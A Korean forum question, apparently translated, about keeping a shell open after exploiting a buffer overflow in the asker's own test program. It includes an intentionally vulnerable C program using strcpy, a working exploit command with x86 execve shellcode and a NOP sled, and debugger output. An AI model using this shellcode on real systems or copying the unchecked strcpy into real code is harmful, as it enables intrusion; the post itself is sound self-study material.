프로그램 내에서 시작한 후 쉘을 활성 상태로 유지하는 방법은 무엇입니까?

프로그램 내에서 시작한 후 쉘을 활성 상태로 유지하는 방법은 무엇입니까?

프로그래밍과 Linux가 혼합되어 있기 때문에 이 질문을 어디에 물어야 할지 모르겠지만, 이곳이 올바른 곳이기를 바랍니다. 간단한 프로그램을 작성했는데 버퍼가 오버플로되었습니다. 나는 한 가지를 제외하고 모든 단계를 완료했습니다. 쉘 코드를 실행하면 /bin/bash실행된 후 입력이 없기 때문에 즉시 닫힙니다. 나는 ./vuln arg arg쉘 코드를 포함하는 이와 같은 매개변수를 사용하여 내 프로그램을 호출합니다 . 내가 이해한 바에 따르면 셸에는 약간의 입력이 필요하지만 취약한 프로그램이 완료되면 표준 입력을 수신해야 하는 파이프가 닫히고 셸도 닫힙니다. 다음 메시지를 받았습니다.

/bin/sh: line 1: warning: command substitution: ignored null byte in input

내 C 코드는 다음과 같습니다(도움이 되는 경우).

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv){
    char buffer[100];
    strcpy(buffer, argv[1]);

    return 0;
}

쉘을 여는 데 사용하는 명령은 다음과 같습니다.

./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")

난 노력 했어:

./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)") | cat

;대신 과 몇 가지 다른 변형을 사용해도 |아무 것도 작동하지 않았습니다. 방금 실행했을 때 발생한 오류입니다../vuln my_payload

[Detaching after fork from child process 4010]
bash: warning: command substitution: ignored null byte in input
[Detaching after fork from child process 4011]

관련 정보